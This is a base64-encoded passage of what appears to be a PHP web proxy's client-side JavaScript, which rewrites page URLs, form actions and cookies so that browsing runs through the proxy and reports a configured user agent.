0aGlzLmdldF9wcm90bygpKyI6Ly8iKw0KCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRoaXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsNCgkJICAgICAgIHRoaXMuZ2V0X3NlcnZlcm5hbWUoKSsNCgkJICAgICAgIChwYXJzZUludCh0aGlzLmdldF9wb3J0dmFsKCkpPT04MD8iIjoiOiIrcGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKSkrDQoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRfZmlsZSgpKw0KCQkgICAgICAgKHRoaXMuZ2V0X3F1ZXJ5KCk9PSIiPyIiOiI/Iit0aGlzLmdldF9xdWVyeSgpKSsNCgkJICAgICAgICh0aGlzLmdldF9sYWJlbCgpPT0iIj8iIjoiIyIrdGhpcy5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7DQoJCXZhciB1cmw9dGhpcy5nZXRfdXJsKCk7DQoJCWlmKHRoaXMubG9ja2VkIHx8IHRoaXMuZ2V0X3Byb3RvKCkrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLmdldF91c2VycGFzcygpKSt0aGlzLmdldF9zZXJ2ZXJuYW1lKCkrdGhpcy5nZXRfcGF0aCgpK3RoaXMuZ2V0X2ZpbGUoKT09dGhpcy5USElTX1NDUklQVCkgcmV0dXJuIHVybDsNCgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7DQoJCXRoaXMuc2V0X2xhYmVsKCk7DQoJCWlmKHRoaXMuRU5DUllQVF9VUkxTICYmICF0aGlzLmxvY2tlZCkgdXJsPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGUucHJveGVuYyh1cmwpOw0KCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIrKCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQNCgkJdXJsPXRoaXMuVEhJU19TQ1JJUFQrIj89Iit1cmw7IC8vIHVybGVuY29kZSgpZA0KCQl0aGlzLnNldF9sYWJlbChsYWJlbCk7DQoJCXJldHVybiB1cmw7DQoJfQ0KDQoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hvKE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7DQoJCS8vYWxlcnQodGhpcy51cmwpOyAvLyBERUJVRw0KCQkvL2FsZXJ0KHRoaXMudXJsLmxlbmd0aCk7IC8vIERFQlVHDQoJCXRoaXMudXJsPSIiOw0KCX0NCgllbHNlew0KCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIgLy8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/DQoJCXRoaXMudXJsPXRoaXMudHJpbSh1cmwucmVwbGFjZSgiJmFtcDsiLCImIikucmVwbGFjZSgiXHIiLCIiKS5yZXBsYWNlKCJcbiIsIiIpKTsNCgl9DQoNCgl0aGlzLnRvcHVybD10b3B1cmw7DQoJdGhpcy5sb2NrZWQ9dXJsLm1hdGNoKDw/cGhwIGVjaG8oQVVSTF9MT0NLX1JFR0VYUCk7ID8+KTsgLy8qDQoNCglpZighdGhpcy5sb2NrZWQpew0KCQl2YXIgdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXRoaXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSl7DQoJCQl1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKHRoaXMudG9wdXJsPT11bmRlZmluZWQpIHRoaXMudXJsPSJodHRwOi8vIisoKHRoaXMudXJsLmNoYXJBdCgwKT09IjoiIHx8IHRoaXMudXJsLmNoYXJBdCgwKT09Ii8iKT90aGlzLnVybC5zdWJzdHJpbmcoMSk6dGhpcy51cmwpKyh0aGlzLnVybC5pbmRleE9mKCIvIikhPS0xPyIiOiIvIik7DQoJCQllbHNlew0KCQkJCXZhciBuZXd1cmw9dGhpcy50b3B1cmwuZ2V0X3Byb3RvKCkrIjovLyIrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLnRvcHVybC5nZXRfdXNlcnBhc3MoKSkrdGhpcy50b3B1cmwuZ2V0X3NlcnZlcm5hbWUoKSsoKHRoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTgwICYmICh0aGlzLnRvcHVybC5nZXRfcHJvdG8oKT09Imh0dHBzIj90aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyI6Iit0aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpOiIiKTsNCgkJCQlpZih0aGlzLnVybC5zdWJzdHJpbmcoMCwxKSE9Ii8iKSBuZXd1cmwrPXRoaXMudG9wdXJsLmdldF9wYXRoKCk7DQoJCQkJdGhpcy51cmw9bmV3dXJsK3RoaXMudXJsOw0KCQkJfQ0KCQl9DQoNCgkJdGhpcy5zZXRfcHJvdG8oKHVybHdhc3ZhbGlkIHx8IHRoaXMudG9wdXJsPT11bmRlZmluZWQ/dGhpcy51cmwucmVwbGFjZSgvXihbXjpdKykuKiQvLCJcJDEiKTp0aGlzLnRvcHVybC5nZXRfcHJvdG8oKSkpOw0KCQl0aGlzLnNldF91c2VycGFzcyh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDIiKSk7DQoJCXRoaXMuc2V0X3NlcnZlcm5hbWUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOw0KCQl0aGlzLnNldF9wb3J0dmFsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNCIpKTsNCgkJdGhpcy5zZXRfcGF0aCh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDUiKSk7DQoJCXRoaXMuc2V0X2ZpbGUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOw0KCQl0aGlzLnNldF9xdWVyeSh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDciKSk7DQoJCXRoaXMuc2V0X2xhYmVsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkOCIpKTsNCgl9DQoNCgkvL2lmKCF0aGlzLmxvY2tlZCAmJiAhdGhpcy51cmwubWF0Y2godGhpcy5VUkxSRUcpKSBoYXZvayg3LHRoaXMudXJsKTsgLy8qDQp9LA0KDQpzdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwsYWRkcHJveHkpew0KCXVybD11cmwudG9TdHJpbmcoKTsNCglpZighdXJsLnN1YnN0cmluZykgcmV0dXJuOw0KCWlmKGFkZHByb3h5PT11bmRlZmluZWQpIGFkZHByb3h5PXRydWU7DQoJdmFyIHVybHF1b3RlPSIiOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpew0KCQl1cmxxdW90ZT11cmwuc3Vic3RyaW5nKDAsMSk7DQoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCgl9DQoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOw0KCXZhciB1cmxvYmo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsNCgl2YXIgbmV3X3VybD0oYWRkcHJveHk/dXJsb2JqLnN1cnJvZ2FmeSgpOnVybG9iai5nZXRfdXJsKCkpOw0KCWlmKHVybHF1b3RlIT0iIikgbmV3X3VybD11cmxxdW90ZStuZXdfdXJsK3VybHF1b3RlOw0KCXJldHVybiBuZXdfdXJsOw0KfSwNCg0Kc3Vycm9nYWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYoIXVybC5zdWJzdHJpbmcpIHJldHVybjsNCglpZihhZGRwcm94eT09dW5kZWZpbmVkKSBhZGRwcm94eT10cnVlOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCglpZih0b3B1cmw9PXVuZGVmaW5lZCkgdG9wdXJsPXRoaXMuY3Vycl91cmxvYmo7DQoJcmV0dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7DQp9LA0KDQpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCl7DQoJaWYodXJsPT11bmRlZmluZWQpIHJldHVybiAiIjsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwgIXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7DQoJcmV0dXJuIHRoaXMucGUucHJveGRlYyhkZWNvZGVVUklDb21wb25lbnQodXJsLnN1YnN0cmluZyh1cmwuaW5kZXhPZignPycpKzEpLnJlcGxhY2UoPD9waHAgZWNobyhQQUdFVFlQRV9SRUdFWFApOyA/PiwiXCQyIikpKTsgLy8gdXJsZGVjb2RlKCkNCn0sDQoNCmFkZF9xdWVyeXN0dWZmOmZ1bmN0aW9uKHVybCxxdWVyeXN0dWZmKXsNCgl2YXIgcG9zPXVybC5pbmRleE9mKCc/Jyk7DQoJcmV0dXJuIHVybC5zdWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9zKTsNCn0sDQoNCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpew0KCXZhciBtYXRjaGFycj1uZXcgQXJyYXkoKTsNCgl2YXIgcmVnZXhwPW5ldyBSZWdFeHAocmVnZXhwc3RyKTsNCgl2YXIgcmVzdWx0Ow0KCXdoaWxlKHRydWUpew0KCQlyZXN1bHQ9cmVnZXhwLmV4ZWMoc3RyaW5nKTsNCgkJaWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7DQoJCWVsc2UgYnJlYWs7DQoJfQ0KCXJldHVybiBtYXRjaGFycjsNCn0sDQoNCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBlKXsNCglpZigoZnJhbWVfdHlwZSE9PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVfVE9QKTsgPz4gfHwgIXRoaXMuVVJMX0ZPUk0pICYmIChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+ICYmICF0aGlzLlBBR0VfRlJBTUVEKSkgcmV0dXJuIHVybDsNCgl2YXIgdXJscXVvdGU9IiI7DQoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7DQoJCXVybHF1b3RlPXVybC5zdWJzdHJpbmcoMCwxKTsNCgkJdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3RoLTEpOw0KCX0NCglpZighdXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/Pikpew0KCQl2YXIgcXVlcnk7DQoJCWlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1ZXJ5PScmPSc7DQoJCWVsc2UgaWYoZnJhbWVfdHlwZT09PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVEX0NISUxEKTsgPz4pIHF1ZXJ5PScuJj0nOw0KCQllbHNlIGlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FRF9QQUdFKTsgPz4gfHwgdGhpcy5QQUdFX0ZSQU1FRCkgcXVlcnk9J18mPSc7DQoJCWVsc2UgcXVlcnk9Jyc7DQoJCXVybD11cmwucmVwbGFjZSgvXihbXlw/XSopW1w/XT88P3BocCBlY2hvKFBBR0VUWVBFX01JTklSRUdFWFApOyA/PihbXiNdKj9bI10/Lio/KSQvLCdcJDE/PScrcXVlcnkrJ1wkMycpOw0KCX0NCglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwrdXJscXVvdGU7DQoJcmV0dXJuIHVybDsNCn0sDQoNCnBhcnNlX2h0bWw6ZnVuY3Rpb24ocmVnZXhwLHBhcnRvcGFyc2UsaHRtbCxhZGRwcm94eSxmcmFtaWZ5KXsNCgl2YXIgbWF0Y2gsYmVnaW4sZW5kLG51cmw7DQoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsNCgkJdmFyIG1hdGNoYXJyPXRoaXMucHJlZ19tYXRjaF9hbGwocmVnZXhwLGh0bWwpOw0KCQl2YXIgbmV3aHRtbD0iIjsNCgkJZm9yKHZhciBrZXkgaW4gbWF0Y2hhcnIpew0KCQkJLyptYXRjaD1tYXRjaGFycltpXTsNCgkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQluaHRtbD1tYXRjaFswXS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOw0KCQkJaHRtbD1odG1sLnJlcGxhY2UobWF0Y2hbMF0sbmh0bWwpOyovDQoJCQltYXRjaD1tYXRjaGFycltrZXldOw0KCQkJaWYobWF0Y2hbcGFydG9wYXJzZV0hPXVuZGVmaW5lZCl7DQoJCQkJYmVnaW49aHRtbC5pbmRleE9mKG1hdGNoW3BhcnRvcGFyc2VdKTsNCgkJCQllbmQ9YmVnaW4rbWF0Y2hbcGFydG9wYXJzZV0ubGVuZ3RoOw0KCQkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQkJaWYoZnJhbWlmeSkgbnVybD10aGlzLmZyYW1pZnlfdXJsKG51cmwsZnJhbWlmeSk7DQoJCQkJbmV3aHRtbCs9aHRtbC5zdWJzdHJpbmcoMCxiZWdpbikrbnVybDsNCgkJCQlodG1sPWh0bWwuc3Vic3RyaW5nKGVuZCk7DQoJCQl9DQoJCX0NCgkJaHRtbD1uZXdodG1sK2h0bWw7DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KcGFyc2VfYWxsX2h0bWw6ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHNbMF09PW51bGwpIHJldHVybjsNCgl2YXIgaHRtbD1hcmd1bWVudHNbMF0udG9TdHJpbmcoKTsNCgl2YXIga2V5Ow0KCWZvcih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpew0KCQlpZigoYXJndW1lbnRzLmxlbmd0aD4xICYmIGtleSE9YXJndW1lbnRzWzFdKSB8fCBrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCgkJYXJyPXJlZ2V4cF9hcnJheXNba2V5XTsNCgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJyKXsNCgkJCXJlZ2V4cF9hcnJheT1hcnJbcmVnZXhwX2FycmF5a2V5XTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09dW5kZWZpbmVkKSBjb250aW51ZTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRtbD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7DQoJCQllbHNlIGlmKHJlZ2V4cF9hcnJheVswXT09Mil7DQoJCQkJYWRkcHJveHk9KHJlZ2V4cF9hcnJheS5sZW5ndGg+Mz9yZWdleHBfYXJyYXlbM106dHJ1ZSk7DQoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7DQoJCQkJaHRtbD10aGlzLnBhcnNlX2h0bWwocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSxodG1sLGFkZHByb3h5LGZyYW1pZnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KZm9ybV9idXR0b246bnVsbCwNCmZvcm1fZW5jcnlwdDpmdW5jdGlvbihmb3JtKXsNCglpZihmb3JtLm1ldGhvZD09J3Bvc3QnKSByZXR1cm4gdHJ1ZTsNCgkvL2FjdGlvbj1mb3JtLjxwaHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZTsNCgl2YXIgYWN0aW9uPWZvcm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOw0KCWZvcih2YXIgaT0xO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKXsNCgkJaWYoZm9ybS5lbGVtZW50c1tpXS5kaXNhYmxlZCB8fCBmb3JtLmVsZW1lbnRzW2ldLm5hbWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udmFsdWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3Jlc2V0JykgY29udGludWU7DQoJCWlmKGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpew0KCQkJaWYoZm9ybS5lbGVtZW50c1tpXS5uYW1lIT10aGlzLmZvcm1fYnV0dG9uKSBjb250aW51ZTsNCgkJCXRoaXMuZm9ybV9idXR0b249bnVsbDsNCgkJfQ0KCQl2YXIgcHJlZjsNCgkJaWYoIWFjdGlvbi5tYXRjaCgvXD8vKSkgcHJlZj0iPyI7DQoJCWVsc2UgcHJlZj0iJiI7DQoJCWFjdGlvbis9cHJlZitmb3JtLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2Zvcm0uZWxlbWVudHNbaV0udmFsdWU7DQoJfQ0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlfdXJsKGFjdGlvbik7DQoJcmV0dXJuIGZhbHNlOw0KfSwNCg0Kc2V0QXR0cjpmdW5jdGlvbihvYmosYXR0cix2YWwpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYoYXR0cj09ImlubmVySFRNTCIpew0KCQlvYmpbYXR0cl09dGhpcy5wYXJzZV9hbGxfaHRtbCh2YWwpOw0KCQlyZXR1cm4gb2JqW2F0dHJdOw0KCX0NCg0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikgcmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7DQoNCglpZihvYmo9PWRvY3VtZW50ICYmIGF0dHI9PSJjb29raWUiKXsNCgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNdKj8pPyQvaTsNCgkJdmFyIHJlYWxob3N0PXRoaXMuTE9DQVRJT05fSE9TVE5BTUUucmVwbGFjZSgiL153d3cvaSIsIiIpLnJlcGxhY2UoIi4iLCJfIik7DQoJCXZhciBjb29ra2V5PXZhbC5yZXBsYWNlKENPT0tfUkVHLCJcJDEiKTsNCgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIpOw0KCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJY29va2tleT1wcm94ZW5jKGNvb2trZXkpOw0KCQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOw0KCQl9DQoJCXZhciBuZXdjb29raWU9cmVhbGhvc3QrIjw/cGhwIGVjaG8oQ09PS0lFX1NFUEFSQVRPUik7ID8+Iitjb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7DQoJCXJldHVybiBuZXdjb29raWU7DQoJfQ0KDQoJaWYob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0ic2VhcmNoIil7DQoJCWlmKHZhbC5zdWJzdHIoMCwxKT09Ij8iKSB2YWw9dmFsLnN1YnN0cigxKTsNCgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnkodmFsKTsNCgkJdmFsPXRoaXMuY3Vycl91cmxvYmouZ2V0X3VybCgpOw0KCQlhdHRyPSJocmVmIjsNCgl9DQoNCgl2YXIgcHJveHVybD12YWw7DQoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIgJiYgYXR0ciE9Imhvc3RuYW1lIil7DQoJCXByb3h1cmw9dGhpcy5zdXJyb2dhZnlfdXJsKHZhbCk7DQoNCgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJheVs1XQ0KCQlpZihvYmoudGFnTmFtZT09IkEiIHx8IG9iai50YWdOYW1lPT0iQVJFQSIpDQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBlY2hvKE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOyA/Pik7DQoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05hbWU9PSJJRlJBTUUiKQ0KCQkJcHJveHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyA/Pik7DQoJfQ0KDQoJaWYodGhpcy5VUkxfRk9STSl7DQoJCWlmKChvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJocmVmIikgfHwgYXR0cj09ImxvY2F0aW9uIil7DQoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7DQoJCQlpZighdXJsb2JqLmxvY2tlZCkgcHJveHVybD10aGlzLmFkZF9xdWVyeXN0dWZmKHByb3h1cmwsIj0mIik7DQoJCQl0aGlzLnRoZXRvcC5sb2NhdGlvbi5ocmVmPXByb3h1cmw7DQoJCX0NCgkJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCgl9DQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCn0sDQoNCmdldEF0dHI6ZnVuY3Rpb24ob2JqLGF0dHIpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7DQoJCXZhciBvY29va2llcz10aGlzLmdldENvb2tpZUFycigpOw0KCQl2YXIgY29va2llcz0iIixvY29vazsNCgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNdKik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyApPyQvaTsNCgkJZm9yKHZhciBrZXkgaW4gb2Nvb2tpZXMpew0KCQkJb2Nvb2s9b2Nvb2tpZXNba2V5XTsNCgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOw0KCQkJaWYob2Nvb2subWF0Y2goQ09PS19SRUcpPT1udWxsKSBjb250aW51ZTsNCgkJCXZhciByZWFsaG9zdD10aGlzLkxPQ0FUSU9OX0hPU1ROQU1FLnJlcGxhY2UoIi9ed3d3L2kiLCIiKS5yZXBsYWNlKCIuIiwiXyIpOw0KCQkJdmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOw0KCQkJaWYoY29va2hvc3Q9PXJlYWxob3N0KXsNCgkJCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJCQl2YXIgY29va2tleT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOw0KCQkJCQl2YXIgY29va3ZhbD10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQzIikpOw0KCQkJCQljb29raWVzKz1jb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCQkJfQ0KCQkJCWVsc2UgY29va2llcys9b2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyPVwkMzsgIik7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIGNvb2tpZXM7DQoJfQ0KDQoJaWYob2JqPT1uYXZpZ2F0b3Ipew0KCQlpZih0aGlzLlVTRVJBR0VOVD09Ii0xIiAmJiAoYXR0ciE9InBsdWdpbnMiICYmIGF0dHIhPSJtaW1lVHlwZSIpKSByZXR1cm4gdW5kZWZpbmVkOw0KCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07DQoJCXZhciBtc2llPXRoaXMuVVNFUkFHRU5ULm1hdGNoKC9tc2llL2kpOw0KCQljb25zdCBVQV9SRUc9L14oW15cL1woXSopXC8/KFteIFwoXSopWyBdKihcKD8oW147XCldKik7PyhbXjtcKV0qKTs/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtcKV0qKTs/W15cKV0qXCk/KVsgXSooW14gXC9dKilcLz8oW14gXC9dKikuKiQvaTsNCgkJc3dpdGNoKGF0dHIpew0KCQkJY2FzZSAidXNlckFnZW50IjogcmV0dXJuIHRoaXMuVVNFUkFHRU5UOw0KCQkJY2FzZSAiYXBwQ29kZU5hbWUiOiByZXR1cm4gdGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpOw0KCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAobXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsNCgkJCWNhc2UgInBsYXRmb3JtIjoNCgkJCQl2YXIgdGVtcHBsYXRmb3JtPXRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDQiKTsNCgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9ybT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIpKTsNCgkJCWNhc2UgIm9zY3B1IjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ2IikpOw0KCQkJY2FzZSAibGFuZ3VhZ2UiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDciKSk7DQoJCQljYXNlICJhcHBOYW1lIjoNCgkJCQl2YXIgdGVtcGFwcG5hbWU9KG1zaWU/Ik1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpKTsNCgkJCQlpZih0ZW1wYXBwbmFtZT09Ik9wZXJhIiB8fCB0ZW1wYXBwbmFtZT09Ik1vemlsbGEiKSB0ZW1wYXBwbmFtZT0iTmV0c2NhcGUiOw0KCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsNCgkJCWNhc2UgInByb2R1Y3QiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDkiKSk7DQoJCQljYXNlICJwcm9kdWN0U3ViIjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxMCIpKTsNCgkJCWNhc2UgInBsdWdpbnMiOiByZXR1cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsNCgkJCWNhc2UgIm1pbWVUeXBlIjogcmV0dXJuIG5hdmlnYXRvci5taW1lVHlwZTsNCgkJCWRlZmF1bHQ6IHJldHVybiB1bmRlZmluZWQ7DQoJCX0NCgl9DQoNCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZ